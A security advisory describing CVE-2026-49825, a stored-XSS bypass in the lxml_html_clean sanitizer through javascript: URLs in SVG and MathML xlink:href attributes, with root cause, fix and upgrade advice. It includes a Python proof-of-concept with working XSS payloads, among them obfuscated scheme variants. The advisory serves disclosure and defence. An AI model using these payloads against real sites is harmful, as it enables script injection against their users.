high · 8.2CVE-2026-49825Jul 8, 2026

CVE-2026-49825: lxml_html_clean javascript: XSS via xlink:href

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

lxml_html_clean's HTML sanitizer silently passes javascript: URLs through to the browser when they appear in SVG or MathML anchor tags using the xlink:href attribute, letting attackers store…

Packagelxml_html_clean
Ecosystempip
Affected< 0.4.5
Fixed in0.4.5

The problem

The Cleaner class filters dangerous URL schemes by walking links via rewrite_links(), which in turn calls iterlinks(). That function only yields attributes whose name appears in lxml.html.defs.link_attrs, a flat string set that never included the literal xlink:href.

As a result, any SVG or MathML anchor carrying xlink:href="javascript:..." is completely invisible to the URL-scheme filter. The condition is triggered only when the caller sets safe_attrs_only=False, a documented option for applications that want to allow custom or vendor attributes while still relying on scheme scrubbing.

Stored XSS is the direct impact: the payload survives sanitization and executes in the victim's browser when the rendered link is clicked.

Proof of concept

A working proof-of-concept for CVE-2026-49825 in lxml_html_clean, with the exact payload below.

python
from lxml import html
from lxml_html_clean import Cleaner

payloads = [
    '<svg><a xlink:href="javascript:alert(1)">x</a></svg>',
    '<math><a xlink:href="javascript:alert(2)">y</a></math>',
    # Encoding variants that also survive (same root cause)
    '<svg><a xlink:href="JaVaScRiPt:alert(3)">x</a></svg>',
    '<svg><a xlink:href="java&#x73;cript:alert(4)">x</a></svg>',
    '<svg><a xlink:href="java\tscript:alert(5)">x</a></svg>',
]

for p in payloads:
    tree = html.fromstring(p)
    Cleaner(safe_attrs_only=False)(tree)
    out = html.tostring(tree).decode()
    print(out)            # payload passes through unchanged
    print('iterlinks:', list(html.fromstring(p).iterlinks()))  # []

The root cause (CWE-184, Incomplete List of Disallowed Inputs) is a direct repeat of CVE-2021-28957, where formaction was missing from the same allow-list. Here, xlink:href is the missing entry: because iterlinks() never yields it, _remove_javascript_link is never called for it, and no scheme check runs.

The fix in lxml 6.1.1 added xlink:href to lxml.html.defs.link_attrs, making it visible to the link rewriter. The lxml_html_clean 0.4.5 release ships a parallel in-package fix that explicitly walks namespaced URL attributes inside Cleaner.__call__ and deletes any whose value matches a dangerous scheme regex, decoupling the cleaner from the upstream allow-list entirely.

The fix

Upgrade to lxml_html_clean >= 0.4.5 and lxml >= 6.1.1. Both packages received coordinated fixes. If you cannot upgrade immediately, avoid passing safe_attrs_only=False to Cleaner, or switch to nh3 (confirmed not vulnerable to this primitive). Install: pip install "lxml>=6.1.1" "lxml_html_clean>=0.4.5"

Reported by Guillem Lefait.

References: [1][2]

Related research